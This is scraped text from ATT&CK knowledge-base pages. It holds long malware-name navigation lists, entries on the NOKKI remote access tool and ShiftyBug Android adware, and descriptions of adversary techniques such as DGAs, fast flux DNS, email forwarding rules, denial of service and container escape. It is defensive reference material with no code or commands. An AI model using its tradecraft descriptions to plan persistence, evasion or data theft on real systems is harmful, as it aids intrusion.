Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - NOKKI NOKKI NOKKI is a modular remote access tool. The earliest observed attack using NOKKI was in January 2018. NOKKI has significant code overlap with the KONNI malware family. There is some evidence potentially linking NOKKI to APT37.[1][2] ID: S Type: MALWARE Platforms: Windows Version: 1. Created: 30 January Last Modified: 18 March Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Application Layer Protocol: File Transfer Protocols NOKKI has used FTP for C2 communications.[1] . Application Layer Protocol: Web Protocols NOKKI has used HTTP for C2 communications.[1] Enterprise T . Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder NOKKI has established persistence by writing the payload to the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run.[1] Enterprise T . Data Staged: Local Data Staging NOKKI can collect data from the victim and stage it in LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp.[1] Enterprise T Deobfuscate/Decode Files or Information NOKKI uses a unique, custom de-obfuscation technique.[1] Enterprise T . Indicator Removal on Host: File Deletion NOKKI can delete files to cover tracks.[1] Enterprise T Ingress Tool Transfer NOKKI has downloaded a remote module for execution.[1] Enterprise T . Input Capture: Credential API Hooking NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.[1] Enterprise T . Masquerading: Match Legitimate Name or Location NOKKI is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.[1] Enterprise T Obfuscated Files or Information NOKKI uses Base64 encoding for strings.[1] Enterprise T . Signed Binary Proxy Execution: Rundll NOKKI has used rundll32 for execution.[1] Enterprise T System Information Discovery NOKKI can gather information on drives and the operating system on the victim’s machine.[1] Enterprise T System Network Configuration Discovery NOKKI can gather information on the victim IP address.[1] Enterprise T System Owner/User Discovery NOKKI can collect the username from the victim’s machine.[1] Enterprise T System Time Discovery NOKKI can collect the current timestamp of the victim's machine.[1] References - Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. - Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. × load more results
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versions_v7-beta_software_S0353.txt
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to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. . Fast Flux DNS Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record. . Domain Generation Algorithms Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions. . DNS Calculation Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel. T Email Collection Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. . Local Email Collection Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. . Remote Email Collection Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords. . Email Forwarding Rule Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes. T Encrypted Channel Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files. . Symmetric Cryptography Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4. . Asymmetric Cryptography Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. T Endpoint Denial of Service Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion. . OS Exhaustion Flood Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. . Service Exhaustion Flood Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. . Application Exhaustion Flood Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. . Application or System Exploitation Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. T Escape to Host Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment. T Establish Accounts Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. . Social Media Accounts Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. . Email Accounts Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). . Cloud Accounts Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers. T Event Triggered Execution Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events. . Change Default File Association Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in
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versions_v12_techniques_enterprise.txt
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Currently viewing ATT&CK v7.0-beta which was live between March 31, 2020 and July 7, 2020. Learn more about the versioning system or see the live site. You are currently viewing the sub-techniques beta. Take a tour, read the blog post or release notes, or see the non-beta version of the site. SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - ShiftyBug ShiftyBug ShiftyBug is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. [1] ID: S Type: MALWARE Platforms: Android Version: 1. Created: 25 October Last Modified: 11 December Version Permalink Live Version ATT&CK® Navigator Layers Mobile Layer download view Techniques Used Domain ID Name Use Mobile T Exploit OS Vulnerability ShiftyBug is packed with at least eight publicly available exploits that can perform rooting.[1] Mobile T Modify System Partition ShiftyBug is auto-rooting adware that embeds itself as a system application, making it nearly impossible to remove.[1] References - Michael Bentley. (2015, November 4). Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire. Retrieved December 21, 2016. × load more results
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versions_v7-beta_software_S0294.txt
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Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man in the Browser Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Command-Line Interface Native Code Scheduled Task/Job Persistence Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Scheduled Task/Job Privilege Escalation Code Injection Device Administrator Permissions Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Proxy Through Victim Suppress Application Icon Uninstall Malicious Application Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Carrier Billing Fraud 